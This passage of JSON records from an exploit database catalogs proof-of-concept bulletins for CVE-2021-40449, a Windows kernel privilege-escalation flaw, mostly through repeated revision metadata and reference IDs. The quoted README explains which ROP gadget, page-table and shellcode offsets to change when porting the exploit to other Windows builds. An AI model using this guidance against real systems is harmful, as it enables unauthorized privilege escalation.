"2021-11-30T02:13:05", "history": [], "viewCount": 24, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "SECURELIST:1F59148E6615695438F94EF4956585AA"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006669.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}], "modified": "2021-11-30T02:13:05", "rev": 2}, "score": {"value": 4.7, "vector": "NONE", "modified": "2021-11-30T02:13:05", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-30T02:13:05", "differentElements": ["title"], "edition": 7}], "viewCount": 27, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "securelist", "idList": ["SECURELIST:1F59148E6615695438F94EF4956585AA", "SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-12-01T17:35:12", "rev": 2}, "score": {"value": 4.5, "vector": "NONE", "modified": "2021-12-01T17:35:12", "rev": 2}}, "objectVersion": "1.6", "_object_type": "robots.models.githubexploit.GithubExploitBulletin", "_object_types": ["robots.models.githubexploit.GithubExploitBulletin", "robots.models.base.Bulletin"], "privateArea": 1}, {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": null, "hash": "91c3503f1e9879109853f0a95bff8388", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for ['CVE-2021-40449']", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/20...", "published": "2021-11-07T16:15:19", "modified": "2021-11-23T07:42:13", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "", "reporter": "", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-12-01T16:04:35", "history": [{"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "a365fc85bafabc79bdeee5b3c6ede01e", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-07T16:21:23", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-07T19:01:14", "history": [], "viewCount": 8, "enchantments": {}, "objectVersion": "1.6"}, "lastseen": "2021-11-07T19:01:14", "differentElements": ["modified"], "edition": 1}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "d84f9a9f218fbe82a1b90b2940d2368f", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-07T21:27:12", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-07T22:00:52", "history": [], "viewCount": 15, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006667.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-07T22:00:52", "rev": 2}, "score": {"value": 5.5, "vector": "NONE", "modified": "2021-11-07T22:00:52", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-07T22:00:52", "differentElements": ["modified"], "edition": 2}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "aa0ab94eeb7a1caa530f116a9c8e4250", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-07T22:12:46", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-08T01:00:57", "history": [], "viewCount": 57, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006672.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-08T01:00:57", "rev": 2}, "score": {"value": 5.5, "vector": "NONE", "modified": "2021-11-08T01:00:57", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-08T01:00:57", "differentElements": ["modified"], "edition": 3}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "5b65b52a1b33f5296758968b473b6f82", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-08T12:36:30", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-08T16:01:02", "history": [], "viewCount": 63, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006715.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-08T16:01:02", "rev": 2}, "score": {"value": 5.5, "vector": "NONE", "modified": "2021-11-08T16:01:02", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-08T16:01:02", "differentElements": ["title"], "edition": 4}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "c43e94b2d8d56c22023b66c24a060944", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-08T12:36:30", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-08T19:02:21", "history": [], "viewCount": 70, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006715.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-08T16:01:02", "rev": 2}, "score": {"value": 5.5, "vector": "NONE", "modified": "2021-11-08T16:01:02", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-08T19:02:21", "differentElements": ["modified"], "edition": 5}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "18d9a4d6c316819987052cd63e76b471", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-09T00:38:33", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-09T01:00:35", "history": [], "viewCount": 72, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006715.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-08T16:01:02", "rev": 2}, "score": {"value": 5.5, "vector": "NONE", "modified": "2021-11-08T16:01:02", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-09T01:00:35", "differentElements": ["modified"], "edition": 6}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "905973b7e83f628e52fc6d0812869daa", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-09T03:05:05", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-09T04:00:18", "history": [], "viewCount": 76, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": 